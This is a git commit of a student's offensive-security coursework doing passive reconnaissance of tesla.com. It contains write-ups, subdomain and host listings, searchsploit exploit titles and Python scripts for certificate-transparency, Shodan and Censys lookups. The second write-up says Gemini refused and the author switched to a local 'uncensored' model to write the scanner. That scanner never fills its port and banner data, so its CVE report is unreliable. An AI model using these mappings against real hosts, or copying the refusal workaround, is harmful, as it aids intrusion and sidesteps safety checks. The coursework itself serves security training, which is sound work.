feat: Semaine 10

This commit is contained in:
gauvainboiche
2026-06-12 20:25:28 +02:00
parent ce1f0e513a
commit d3d2416dea
91 changed files with 4317 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
3.12
View File
+240
View File
@@ -0,0 +1,240 @@
# Travail Pratique 01 - Florian POMPIDOU
> Vous intégrez l'équipe Red Team de Synapse Security, une société de conseil en sécurité offensive. Premier dossier du matin : votre chef de mission vous transmet un bref email.
> "Tesla vient de signer un contrat d'audit de surface. Ils exposent du SaaS B2B. On a zéro doc interne — commencez par mapper ce qui est visible de l'extérieur. Périmètre : tesla.com et ses sous-domaines. Reconnaissance passive uniquement. Réunion client dans 4h — je veux un livrable exploitable. Bon courage."
> Vous n'avez aucun template, aucune liste de tâches. C'est une vraie mission.
## 0. Les prérequis
- L'usage veut que j'ai quelques sécurités derrière moi. En temps normal, je me connecterais au réseau TOR quitte à sacrifier de la vitesse, sur le navigateur dédié. Pour l'exercice, je vais simplement passer sur un **VPN double-connexion Islande -> Pays-Bas -> Ordinateur**.
- En plus de cela, j'utiliserais Kali 2025.4 sur VirtualBox, l'image officielle de Kali, mais avec 8 vCPUs et 8GB RAM. Parce qu'elle était déjà installée et que ça ira plus vite.
- Un compte SHODAN (que je ne connaissais pas mais qui va sembler pratique) avec un compte enregistré par un alias SimpleLogin gratuit derrière un compte ProtonMail secondaire.
## 1. Plan de reconnaissance documenté
- Voir ce qu'on obtient en cherchant dans un moteur de recherche
- Voir un résultat WHOIS
- Voir un résultat SHODAN
- Voir un rapport récupéré de quelqu'un d'autre qui aurait fait un NMAP (c'est passif !)
### Moteur de recherche
tesla.com, c'est facile à taper. On regarde la première page et voyons ce qu'on peut relever :
![alt text](image-1.png)
Evidemment, on a la vitrine commerciale, Wikipédia et les réseaux sociaux. On peut tenter un "More results from this site" pour filtrer sur le domaine :
![alt text](image-2.png)
Bon, j'ai beaucoup du domaine principal, mais je détecte en fin de page 1 (et rien en page 2) trois sous-domaines intéressants :
![alt text](image-3.png)
"IR", avec en intitulé "Investor Relations". J'ouvre avec WebArchive pour voir un peu :
![alt text](image-4.png)
Han. Je regarde sur ma machine Kali et même chose :
![alt text](image-5.png)
Ca n'aime pas les VPNs ! Tant mieux, je n'ai pas envie d'investir dans cette boîte de merde et donner de la valeur à son abruti de patron. Et puis j'ai pas d'argent.
### WHOIS
La première solution passive pour scanner un peu ce qui se tape de l'extérieur, c'est un très simple [WHOIS](https://www.whois.com). Je pourrais le faire depuis mon terminal, mais considérons que c'est de l'actif dans le cas présent.
[J'obtiens un rapport classique](https://www.whois.com/whois/tesla.com) :
![alt text](image.png)
Enregistré à San Francisco, depuis 1992, sécurité de base, etc. Ca ne m'apprend pas grand chose comme ça.
Quelque peu déçu, je passe sur [https://mxtoolbox.com/](MXToolBox) pour avoir un WHOIS complet (incluant MX, TXT, etc) et c'est déjà plus intéressant :
- [TXT](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage)
- [MX](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage)
- [CNAME](https://mxtoolbox.com/emailhealth/tesla.com/) => J'ai un 403. Intéressant. Ils veulent vraiment bloquer ça...
- [SPF](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage) => Que de l'adresse fixe. On peut connaître les étendues d'IP aptes à utiliser les services Tesla, ce qui veut dire qu'en recoupant chacune et avec un test actif dans NMAP, on peut retrouver quasi TOUT l'écosystème "agreé" tesla.com.
- [DNS](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage)
- [DMARC](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage)
Je fais deux autres services dédiés CNAME et j'ai des retours négatifs. Hm. Mais j'ai UN rapport de [WhatsMyDNS](https://www.whatsmydns.net/dns-lookup/cname-records?query=tesla.com&server=cloudflare) qui indique des autorités DNS :
```
id 64655, opcode QUERY, rcode NOERROR, flags QR RD RA
;QUESTION
tesla.com. IN CNAME
;ANSWER
;AUTHORITY
tesla.com. 86400 IN SOA edns69.ultradns.com. domain.teslamotors.com. 2016025264 1800 86400 86400 86400
;ADDITIONAL
```
On a un autre domaine "teslamotors.com" qui pourrait faire l'affaire. On note en tout cas.
### SHODAN
Je ne connais pas, mais je pense que ça sera plus complet. Pour "tester" comme un béotien moyen, je tape juste "tesla.com" dans la barre de recherche.
Et bien... je ne suis malgré tout pas déçu :
![alt text](image-6.png)
ALors je n'obtiens paaaas grand chose comme ça, mais j'ai déjà un rapport un peu plus détaillé sur ce qui est ouvert ou non :
![alt text](image-7.png)
Des ports, du service web, des emplacements... des versions TLS. Empreintes JARM et JA3S... voilà, faisons comme si je connaissais. Je regarde vite fait et j'obtiens cette définition d'un article de Fastly.com (inconnu au bataillon) dans l'article "What is TLS fingerprinting ?" :
> JARM is used to scan and identify servers and provides more uniqueness compared to JA3S. Unlike JA3S, which utilizes passive observation, JARM involves active scanning to solicit information from servers.
Bon, je crois comprendre à peu près. Ce ne me servira pas à grand chose présentement.
### Conclusion
Frustré de n'être que le passif dans cette relation, je cherche un peu par mot-clefs et j'obtiens un rapport de 2020 faisant état d'un NMAP sur tesla.com : [Recon Pipeline](https://recon-pipeline.readthedocs.io/en/latest/overview/viewing_results.html). C'est peut-être obsolète, mais sachant qu'une boîte de cette taille peut avoir des dettes techniques de 15-20 ans, je considère pour l'exercice qu'elle est encore à peu près à jour. Et c'est la poule aux oeufs d'or :
```
[db-2] recon-pipeline> view targets --paged
3.tesla.cn
3.tesla.com
api-internal.sn.tesla.services
api-toolbox.tesla.com
api.mp.tesla.services
api.sn.tesla.services
api.tesla.cn
api.toolbox.tb.tesla.services
[db-2] recon-pipeline> view endpoints --paged
[200] http://westream.teslamotors.com/y
[301] https://mobileapps.teslamotors.com/aspnet_client
[403] https://209.133.79.49/analog.html
[302] https://209.133.79.49/api
[403] https://209.133.79.49/cgi-bin/
[200] https://209.133.79.49/client
[db-2] recon-pipeline> view nmap-scans --paged
2600:9000:21d4:7800:c:d401:5a80:93a1 - http
===========================================
[db-2] recon-pipeline> view ports --paged
apmv3.go.tesla.services: 80
autodiscover.teslamotors.com: 80
csp.teslamotors.com: 443
image.emails.tesla.com: 443
marketing.teslamotors.com: 443
partnerleadsharing.tesla.com: 443
service.tesla.cn: 80
shop.uk.teslamotors.com: 8080
sip.tesla.cn: 5061
[db-2] recon-pipeline> view searchsploit-results --paged
52.209.48.104, 34.252.120.214, 52.48.121.107, telemetry-eng.vn.tesla.services
=============================================================================
local | 40768.sh | Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege
| Escalation
remote | 12804.txt| Nginx 0.6.36 - Directory Traversal
local | 14830.py | Nginx 0.6.38 - Heap Corruption
webapps | 24967.txt| Nginx 0.6.x - Arbitrary Code Execution NullByte Injection
dos | 9901.txt | Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 <
| 0.4.14 - Denial of Service (PoC)
remote | 9829.txt | Nginx 0.7.61 - WebDAV Directory Traversal
remote | 33490.txt| Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection
remote | 13822.txt| Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download
remote | 13818.txt| Nginx 0.8.36 - Source Disclosure / Denial of Service
remote | 38846.txt| Nginx 1.1.17 - URI Processing SecURIty Bypass
remote | 25775.rb | Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow
| (Metasploit)
dos | 25499.py | Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC)
remote | 26737.pl | Nginx 1.3.9/1.4.0 (x86) - Brute Force
remote | 32277.txt| Nginx 1.4.0 (Generic Linux x64) - Remote Overflow
webapps | 47553.md | PHP-FPM + Nginx - Remote Code Execution
[db-2] recon-pipeline> view web-technologies --type "Programming languages"
PHP (Programming languages)
===========================
- www.tesla.com
- dummy.teslamotors.com
- 209.10.208.20
- 211.147.80.206
- trt.tesla.com
- trt.teslamotors.com
- cn-origin.teslamotors.com
- www.tesla.cn
- events.tesla.cn
- 23.67.209.106
- service.teslamotors.com
Python (Programming languages)
==============================
- api-toolbox.tesla.com
- 52.26.53.228
- 34.214.187.20
- 35.166.29.132
- api.toolbox.tb.tesla.services
- toolbox.teslamotors.com
- 209.133.79.93
Ruby (Programming languages)
============================
- storagesim.teslamotors.com
- 209.10.208.39
```
Voilà. Je m'arrête là, dans deux minutes je déclare la guerre nucléaire à cette entreprise des enfers.
## 2. Script Python `crtsh_recon.py`
> Écrivez un script Python qui interroge l'API publique de crt.sh et extrait automatiquement les sous-domaines du domaine cible.
> Comportement attendu :
```
$ python crtsh_recon.py tesla.com
[*] Interrogation de crt.sh pour tesla.com...
[+] 14 certificats trouvés
[+] Sous-domaines uniques :
api.tesla.com
staging.tesla.com
vpn.tesla.com
...
[*] Export → tesla_subdomains.txt
```
> Le script doit : dédupliquer les résultats, filtrer les wildcards (*.tesla.com), exporter vers un fichier texte, et gérer proprement les erreurs réseau.
### Erreur 502
Site trop demandé visiblement :3 c'est pas d'bol.
Sinon j'avais trouvé [ce script par "YashGoti"](https://github.com/YashGoti/crtsh) qui semblait parfait. J'aurais sûrement fait un truc en rapport, en modifiant pour répondre aux critères (affiche dynamique, export en fichier teste [format CSV je pense] etc.)
Je pourrais prendre leur paquet en local, mais ça serait de l'actif.
### Alternative 1
Je regarde un post Reddit demandant une alternative à CRT.sh et je tombe sur SSLBoard.com. Après tout, pourquoi pas ?
Alors, il n'y a pas d'API on dirait, alors je prends [juste un rapport Web](https://sslboard.com/report/aa6986c4-8db7-493d-8fd7-6011d01e890f) en attendant :
![alt text](image-8.png)
![alt text](image-9.png)
Alors il y a une version payante, donc... hm.
### Alternative 2
Dans le même post Reddit, j'apprends l'existence de "Merklemap". Je tente une recherche dessus et [j'obtiens encore un Pay2Gain](https://www.merklemap.com/search?query=*.tesla.com&page=0), mais exploitable en soit :
![alt text](image-11.png)
Plus de 500 certificats ? Et beh.
### Les alternatives
Sur le site de Let's Encrypt (je suis d'avis qu'ils s'y connaissent en certificat, mais je ne saurais l'affirmer 🥸) j'obtiens une liste de ces services ouverts : https://community.letsencrypt.org/t/certificate-transparency-search-resources/203368
On a deux autres services offrant une API, CertStream en Python : https://github.com/CaliDog/certstream-python
Mais il est presque l'heure de rendre, j'abandonne l'idée d'un script manuellement rédigé pour le moment.
Binary file not shown.
+76
View File
@@ -0,0 +1,76 @@
# Travail Pratique 02 - Florian POMPIDOU
> Vous avez vos sous-domaines. Maintenant votre chef de mission remonte la pression :
> "Bien. On a les sous-domaines — maintenant je veux savoir ce qui tourne derrière. Versions, ports, CVE éventuelles. Et je veux que ce soit automatisé — si demain le client change d'infra, on relance le script et on a les résultats en 30 secondes. Je ne veux plus faire ça à la main."
## 0. Préparation
- Définir la portée du projet
- Voir le dépôt Python officiel de Shodan
- Amorcer le projet
- Commencer le script
- Tester le script
- Hélitreuiller le lama
## 1. Documentation
Le site a un onglet "Developer" et de là des liens vers des API selon la stack. Je prends Python : https://github.com/achillean/shodan-python
Faisant détox de l'IA, mais ayant pour seule doc un site tiers de 2014 (en python 2... on n'est pas dans la merde), je tente avec une IA (Gemini Pro) mais l'éthique la force à dire "non". Je pourrais lui tirer les vers du nez, truander, mais... non, je tente autre chose de tout nouveau qui vient de sortir : "faire mes propres recherches". Incroyable.
## 2. Script Python
Je mets en place une clef API (si j'oublie de l'enlever du document, pas d'inquiétude, je vais la réinitialiser à la fin) et je fais un banal script qui prend une IP en argument :
![alt text](image-10.png)
Bon, ça marche, j'ai un bloc JSON non structuré. Ca promet d'être marrant.
Je tombe sur un script qui fait à peu près ce que je veux (https://github.com/TiiTcHY/ShoDomain-Seeker/blob/main/ShoDomain_Seeker.py) et je me dis qu'après tout, hein. Voilà quoi. Je pique juste ce qui m'intéresse.
Sauf que c'est pour un compte payant.
Je ré-écris tout pour taper sur la bibliothèque publique Shodan...
Et j'ai encore du 403 :
![alt text](image-12.png)
### Oh et puis zut
Je ne vois pas comment je peux faire ça en 3 heures avec une doc pétée en n'étant guère développeur de base. Mais je garde de la technicité dans mon approche. J'ai besoin d'une IA, mais sans censure. J'installe alors un modèle personnalisé de Qwen3.5 9B totalement chargé sur ma carte graphique, et j'enregistre un serveur MCP local pour l'agent IA de VSCode et je fais tourner la bourrique.
Parce que "convertir" un script de 200 lignes sur une autre stack à une heure du rendu, très peu pour moi.
### Mais c'est un complot en fait
BON, maintenant j'ai un 401 parce que j'ai encore confondu PAT et clef API. Je réadapate le script pour un PAT et...
```
[*] Démarrage du scan global v3 pour : tesla.com
[-] Erreur API (403): {"title":"Forbidden","status":403,"detail":"This endpoint requires an organization ID for API access. Free users can only access this endpoint through the Platform UI."}
```
Non mais là c'est bon.
J'abandonne l'idée d'avoir un résultat et je vais juste commenter le code censys. Définir les fonctions et le rendre maintenable.
## 3. Test de la plateforme
A défaut de faire des requêtes en script, je tente sur la Plateforme, que je vois un peu le résultat.
Je réussis à faire une requête pour avoir un retour attendu en script :
```sql
((host.dns.names: "tesla.com" and host.services.endpoints.http.uri: *) and host.ip: *) and host.services.port = "21"
```
Je filtre par "21", port FTP par défaut, parce que c'est notoirement un port tout pourri. Je trouve un résultat qui me permet de regarder un peu le détail :
![alt text](image-13.png)
Bon, il n'y a rien... mais s'il y avait eu, il aurait fallut payer :
![alt text](image-14.png)
Non mais à ce stade faisons du NMAP et recoupons avec Metasploit. La main manuelle de l'homme, y a que ça de vrai.
Binary file not shown.
Binary file not shown.
+56
View File
@@ -0,0 +1,56 @@
import requests
import sys
def get_subdomains_certspotter(domain):
url = f"https://api.certspotter.com/v1/issuances?domain={domain}&include_subdomains=true&expand=dns_names"
print(f"[*] Interrogation de Cert Spotter pour {domain}...")
try:
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
response = requests.get(url, headers=headers, timeout=15)
if response.status_code == 429:
print("[-] Erreur 429 : Limite de requêtes atteinte. Patiente un peu avant de réessayer.")
return
response.raise_for_status()
data = response.json()
if not data:
print("[-] Aucun certificat trouvé pour ce domaine.")
return
subdomains = set()
for entry in data:
for name in entry.get('dns_names', []):
name = name.strip().lower()
if not name.startswith('*.') and name.endswith(domain):
subdomains.add(name)
subdomains = sorted(list(subdomains))
print(f"[+] {len(subdomains)} sous-domaines uniques trouvés :")
for sub in subdomains:
print(f" {sub}")
output_file = f"{domain.replace('.', '_')}_certspotter.txt"
with open(output_file, 'w', encoding='utf-8') as f:
for sub in subdomains:
f.write(f"{sub}\n")
print(f"[*] Export → {output_file}")
except requests.exceptions.Timeout:
print("[-] Erreur : Délai d'attente dépassé.")
except requests.exceptions.RequestException as e:
print(f"[-] Erreur réseau :\n {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <domaine>")
sys.exit(1)
target_domain = sys.argv[1]
get_subdomains_certspotter(target_domain)
+61
View File
@@ -0,0 +1,61 @@
import requests
import sys
def get_subdomains(domain):
url = f"https://crt.sh/?q=%.{domain}&output=json"
print(f"[*] Interrogation de crt.sh pour {domain}...")
try:
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
response = requests.get(url, headers=headers, timeout=20)
response.raise_for_status()
data = response.json()
if not data:
print("[-] Aucun certificat trouvé pour ce domaine.")
return
print(f"[+] {len(data)} certificats trouvés (bruts)")
subdomains = set()
for entry in data:
name_value = entry.get('name_value', '')
for name in name_value.split('\n'):
name = name.strip().lower()
if not name.startswith('*.') and name.endswith(domain):
subdomains.add(name)
subdomains = sorted(list(subdomains))
print("[+] Sous-domaines uniques :")
for sub in subdomains:
print(f" {sub}")
output_file = f"{domain.replace('.', '_')}_subdomains.txt"
with open(output_file, 'w', encoding='utf-8') as f:
for sub in subdomains:
f.write(f"{sub}\n")
print(f"[*] Export → {output_file}")
except requests.exceptions.HTTPError as e:
print(f"[-] Erreur HTTP de la part de crt.sh (probablement une 502 ou 503) :\n {e}")
except requests.exceptions.Timeout:
print("[-] Erreur : Délai d'attente dépassé (Timeout). crt.sh est trop lent actuellement.")
except requests.exceptions.RequestException as e:
print(f"[-] Erreur réseau critique :\n {e}")
except ValueError:
print("[-] Erreur de parsing JSON. crt.sh a probablement renvoyé une page HTML d'erreur.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <domaine>")
sys.exit(1)
target_domain = sys.argv[1]
get_subdomains(target_domain)
Binary file not shown.

After

Width:  |  Height:  |  Size: 279 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 368 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 196 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 265 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 318 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 224 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 229 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 182 KiB

+10
View File
@@ -0,0 +1,10 @@
[project]
name = "jour-01"
version = "0.1.0"
description = "Add your description here"
readme = "README.md"
requires-python = ">=3.12"
dependencies = [
"censys>=2.2.19",
"shodan>=1.31.0",
]
@@ -0,0 +1,89 @@
apf-api.eng.vn.cloud.tesla.com
apf-api.prd.vn.cloud.tesla.com
assets.extgithub.tesla.com
auth-stage.tesla.com
auth.eng.euw1.vn.cloud.tesla.com
auth.eng.usw.vn.cloud.tesla.com
autobidder-preprd.powerhub.energy.tesla.com
autobidder.powerhub.energy.tesla.com
avatars.extgithub.tesla.com
ca.tesla.com
chat-staging.bottlerocket.tesla.com
cn.tesla.com
codeload.extgithub.tesla.com
consul.bottlerocket.tesla.com
containers.extgithub.tesla.com
de.tesla.com
dhc.tesla.com
digitalassets-shop.tesla.com
digitalassets.tesla.com
diner-api-stage.tesla.com
diner-api.tesla.com
diner-webapp-stage.tesla.com
diner-webapp.tesla.com
discovery-service.bottlerocket.tesla.com
discovery.bottlerocket.tesla.com
docker.extgithub.tesla.com
docs.bottlerocket.tesla.com
embed-staging.bottlerocket.tesla.com
employeefeedback.tesla.com
energy-technician.bottlerocket.tesla.com
energy.bottlerocket.tesla.com
engage.tesla.com
engagetesla.com
extgithub.tesla.com
feedback.tesla.com
fleet-api.eng.na.vn.cloud.tesla.com
fleet-api.prd.eu.vn.cloud.tesla.com
fleet-api.prd.na.vn.cloud.tesla.com
fleetview.america.fn.tesla.com
fleetview.europe.fn.tesla.com
fleetview.fn.tesla.com
fleetview.prd.america.fn.tesla.com
fleetview.prd.eu.fn.tesla.com
fleetview.prd.europe.fn.tesla.com
fleetview.prd.euw1.fn.tesla.com
fleetview.prd.na.fn.tesla.com
fleetview.prd.usw2.fn.tesla.com
genai.tesla.com
gf.tesla.com
gist.extgithub.tesla.com
gridlogic.energy.tesla.com
gridlogic.powerhub.energy.tesla.com
inference-eu-staging.bottlerocket.tesla.com
inference-eu.bottlerocket.tesla.com
inference-staging.bottlerocket.tesla.com
inference.bottlerocket.tesla.com
ir.bottlerocket.tesla.com
maven.extgithub.tesla.com
media.extgithub.tesla.com
mfg.tesla.com
mobile-links.eng.vn.cloud.tesla.com
notebooks.extgithub.tesla.com
npm.extgithub.tesla.com
nuget.extgithub.tesla.com
nv.tesla.com
ny.tesla.com
pages.extgithub.tesla.com
paloalto.tesla.com
powerhub.energy.tesla.com
raw.extgithub.tesla.com
reply.extgithub.tesla.com
rubygems.extgithub.tesla.com
sentry.app.tesla.com
signaling-alpha.prd.vn.cloud.tesla.com
signaling-robotics.eng.vn.cloud.tesla.com
staging.bottlerocket.tesla.com
sts-broker.bottlerocket.tesla.com
taffy.bottlerocket.tesla.com
tesla.com
teslacmgna01.tesla.com
tf-poc.tesla.com
tokens-staging.bottlerocket.tesla.com
tripx-alpha.prd.vn.cloud.tesla.com
tripx.eng.usw2.vn.cloud.tesla.com
tripx.prd.vn.cloud.tesla.com
tx.tesla.com
uploads.extgithub.tesla.com
veritas-staging.bottlerocket.tesla.com
viewscreen.extgithub.tesla.com
+360
View File
@@ -0,0 +1,360 @@
"""
tesla_security_scan.py - Enhanced Security Scanner for Tesla Subdomains using Shodan API
Features:
- Read subdomains from .txt file or command line
- Query Shodan API for each host with detailed info (ports, services, versions)
- Detect CVEs using OS and service banner intelligence
- Generate structured JSON report with vulnerability analysis
- Provide executive summary review
"""
import sys
import json
import argparse
import shodan
import re
from datetime import datetime
from collections import defaultdict
def load_subdomains_from_file(file_path):
"""Load subdomains from a .txt file."""
with open(file_path, 'r', encoding='utf-8') as f:
domains = [line.strip() for line in f if line.strip()]
return domains
def search_host_shodan(ip_address, api_key):
"""Get detailed host information from Shodan API."""
try:
api = shodan.Shodan(api_key)
results = api.host(ip_address)
return {
'ip': ip_address,
'ports': [],
'services': {},
'os': results.get('os', None),
'org': results.get('org', 'Unknown'),
'last_update': datetime.now().isoformat(),
'banners': [],
'vulnerabilities': []
}
except shodan.APIError as e:
return {
'ip': ip_address,
'error': str(e),
'ports': [],
'services': {},
'os': None,
'org': 'Unknown',
'last_update': datetime.now().isoformat(),
'banners': []
}
def extract_service_info(shodan_data):
"""Extract and organize service information from Shodan data."""
services = {}
if not shodan_data or 'ports' not in shodan_data:
return services
for port_entry in shodan_data.get('ports', []):
port_num = port_entry.get('port')
banner = port_entry.get('banner', '')
service_info = {
'port': port_num,
'protocol': port_entry.get('transport', 'tcp'),
'service': port_entry.get('name', 'unknown'),
'version': port_entry.get('product') or port_entry.get('version', 'unknown'),
'banners': []
}
if banner:
try:
banner_lines = banner.split('\n')
service_info['banners'].append({
'raw': '\n'.join(banner_lines[:10]),
'hostname': port_entry.get('host', ''),
'app': port_entry.get('app', '')
})
banner_upper = banner.upper()
if 'TLS' in banner_upper or 'SSL' in banner_upper:
service_info['ssl'] = True
except Exception:
pass
services[str(port_num)] = service_info
return services
def detect_os_cves(os_string):
"""Detect CVEs mentioned in OS information."""
if not os_string:
return []
cve_pattern = r'(CVE-[0-9]{4}-[0-9]+)'
detected_cves = re.findall(cve_pattern, os_string)
os_info = {
'cves': detected_cves,
'os_type': os_string.split(' ')[0] if os_string else None,
'kernel_version': os_string.split(' (')[0].split('.')[-1] if ' (' in os_string else None
}
return [{'cve_id': cve_id, 'source': 'OS', 'description': f'Potential vulnerability in {os_string}'} for cve_id in detected_cves]
def detect_service_cves(banners):
"""Detect CVEs mentioned in service banners."""
all_cves = []
if not banners:
return all_cves
cve_pattern = r'(CVE-[0-9]{4}-[0-9]+)'
for banner_info in banners:
raw_content = banner_info.get('raw', '')
detected_cves = re.findall(cve_pattern, raw_content)
if detected_cves:
for cve_id in detected_cves:
all_cves.append({
'cve_id': cve_id,
'source': banner_info.get('app', 'Service'),
'port': banner_info.get('port', 0),
'description': f'Potential vulnerability found in {banner_info.get("hostname", "service")}'
})
return all_cves
def analyze_host_vulnerabilities(host_data):
"""Analyze a host for vulnerabilities from OS and services."""
detected_cves = []
os_cves = detect_os_cves(host_data.get('os'))
detected_cves.extend(os_cves)
service_cves = detect_service_cves(host_data.get('banners', []))
detected_cves.extend(service_cves)
host_data['vulnerabilities'] = detected_cves
return host_data
def scan_subdomain(subdomain, api_key):
"""Scan all hosts associated with a subdomain."""
api = shodan.Shodan(api_key)
try:
results = api.search(f"hostname:{subdomain}")
if not results.get('matches'):
return {
'subdomain': subdomain,
'hosts': [],
'total_hosts': 0,
'unique_services': set(),
'vulnerable_hosts': []
}
hosts = []
unique_ports = set()
all_services = set()
vulnerable_count = 0
for match in results['matches']:
ip = match.get('ip_str')
if not ip:
continue
host_info = search_host_shodan(ip, api_key)
services = extract_service_info(host_info)
unique_ports.update(str(p) for p in host_info.get('ports', []))
all_services.update(services.keys())
vulnerable_host = analyze_host_vulnerabilities(host_info)
if vulnerable_host['vulnerabilities']:
vulnerable_count += 1
hosts.append({
'ip': host_info['ip'],
'org': host_info.get('org', 'Unknown'),
'os': host_info.get('os'),
'ports_count': len(host_info.get('ports', [])),
'services': services,
'banners': host_info.get('banners', []),
'vulnerabilities': vulnerable_host['vulnerabilities']
})
return {
'subdomain': subdomain,
'hosts': hosts,
'total_hosts': len(hosts),
'unique_ports': unique_ports,
'unique_services': all_services,
'vulnerable_hosts': vulnerable_count
}
except shodan.APIError as e:
print(f"Error querying Shodan for {subdomain}: {e}", file=sys.stderr)
return {
'subdomain': subdomain,
'hosts': [],
'total_hosts': 0,
'unique_services': set(),
'vulnerable_hosts': 0
}
def generate_summary_report(all_results):
"""Generate a summary of scan results."""
total_hosts = sum(r['total_hosts'] for r in all_results)
unique_services = set()
vulnerable_hosts_count = 0
for result in all_results:
unique_services.update(result.get('unique_services', []))
vulnerable_hosts_count += result.get('vulnerable_hosts', 0)
hosts_with_cves = sum(1 for r in all_results if r['vulnerable_hosts'] > 0)
return {
'total_subdomains_scanned': len(all_results),
'total_hosts_found': total_hosts,
'unique_services_identified': len(unique_services),
'hosts_with_cves': hosts_with_cves,
'total_vulnerable_hosts': vulnerable_hosts_count,
'scan_timestamp': datetime.now().isoformat()
}
def main():
parser = argparse.ArgumentParser(
description="Enhanced Security Scanner for Tesla Subdomains using Shodan API",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python tesla_security_scan.py -d tesla.com -s YOUR_API_KEY -o report.json
python tesla_security_scan.py -i subdomains.txt -s YOUR_API_KEY --json-output scan_results.json
"""
)
parser.add_argument(
"-d", "--domain",
dest="domain",
help="Single domain to scan (e.g., tesla.com)"
)
parser.add_argument(
"-i", "--input-file",
dest="file_name",
help=".txt file containing subdomains to scan"
)
parser.add_argument(
"-s", "--shodan-key",
dest="shodan_key",
required=True,
help="Shodan API Key"
)
parser.add_argument(
"-o", "--json-output",
dest="json_output",
default=None,
help="Output JSON file for detailed results (default: console)"
)
parser.add_argument(
"-q", "--quick-summary",
action="store_true",
help="Print quick summary only"
)
args = parser.parse_args()
if not args.domain and not args.file_name:
print("Error: Please provide either -d (domain) or -i (input file)", file=sys.stderr)
parser.print_help()
sys.exit(1)
try:
api = shodan.Shodan(args.shodan_key)
except shodan.APIError as e:
print(f"Error initializing Shodan API: {e}", file=sys.stderr)
sys.exit(1)
if args.file_name:
subdomains = load_subdomains_from_file(args.file_name)
else:
subdomains = [args.domain]
print(f"[*] Starting security scan for {len(subdomains)} target(s)...")
print(f"[+] API Key validated (Shodan)")
print()
all_results = []
total_hosts = 0
total_services = set()
vulnerable_count = 0
for i, subdomain in enumerate(subdomains, 1):
print(f"[*] Scanning {i}/{len(subdomains)}: {subdomain}...")
result = scan_subdomain(subdomain, args.shodan_key)
all_results.append(result)
total_hosts += result['total_hosts']
total_services.update(result.get('unique_services', []))
vulnerable_count += result.get('vulnerable_hosts', 0)
summary = generate_summary_report(all_results)
if args.json_output:
full_report = {
'summary': summary,
'detailed_results': all_results
}
with open(args.json_output, 'w', encoding='utf-8') as f:
json.dump(full_report, f, indent=2, ensure_ascii=False)
print(f"\n[+] Detailed JSON report saved to: {args.json_output}")
print("\n" + "=" * 70)
print("EXECUTIVE SECURITY SUMMARY")
print("=" * 70)
print()
print(f"[INFO] Total Subdomains Scanned : {summary['total_subdomains_scanned']}")
print(f"[INFO] Total Hosts Identified : {summary['total_hosts_found']:.0f}")
print(f"[INFO] Unique Services Detected : {summary['unique_services_identified']:.0f}")
print()
vuln_summary = summary.get('hosts_with_cves', 0)
total_vuln = summary.get('total_vulnerable_hosts', 0)
if vuln_summary > 0:
print(f"[ALERT] Hosts with CVE Detection : {vuln_summary}")
print(f"[CRITICAL] Total Vulnerable Hosts : {total_vuln}")
if total_vuln > 0:
vulnerability_rate = (total_vuln / summary['total_hosts_found'] * 100) if summary['total_hosts_found'] > 0 else 0
print(f"[STAT] Vulnerability Rate : {vulnerability_rate:.2f}%")
elif total_hosts > 0:
print(f"[INFO] No CVEs Detected in {summary['total_subdomains_scanned']} hosts")
print()
print("=" * 70)
print("SCAN COMPLETE")
print("=" * 70)
if __name__ == "__main__":
main()
+138
View File
@@ -0,0 +1,138 @@
import sys, json, argparse
from datetime import datetime
import requests
CENSYS_API_BASE = "https://api.platform.censys.io/v3"
def search_host_censys(ip_address, token):
"""
Récupère les détails d'un hôte via l'API Censys avec un Personal Access Token.
Parce que les clefs API c'est pour ceux qui raquent.
"""
url = f"{CENSYS_API_BASE}/global/asset/host/{ip_address}"
headers = {
"Authorization": f"Bearer {token}",
"Accept": "application/json"
}
try:
response = requests.get(url, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
services = data.get('services', [])
vulnerabilities = data.get('vulnerabilities', [])
for srv in services:
if isinstance(srv, dict) and srv.get('vulnerabilities'):
vulnerabilities.extend(srv['vulnerabilities'])
has_cve = len(vulnerabilities) > 0
return {
'ip': ip_address,
'ports': [srv.get('port') for srv in services if isinstance(srv, dict) and srv.get('port')],
'os': data.get('operating_system', {}).get('product', None),
'org': data.get('autonomous_system', {}).get('name', 'Unknown'),
'last_update': datetime.now().isoformat(),
'services': services,
'vulnerabilities': vulnerabilities,
'potentially_vulnerable': has_cve
}
else:
return {'ip': ip_address, 'error': f"HTTP {response.status_code}", 'ports': [], 'services': [], 'potentially_vulnerable': False}
except Exception as e:
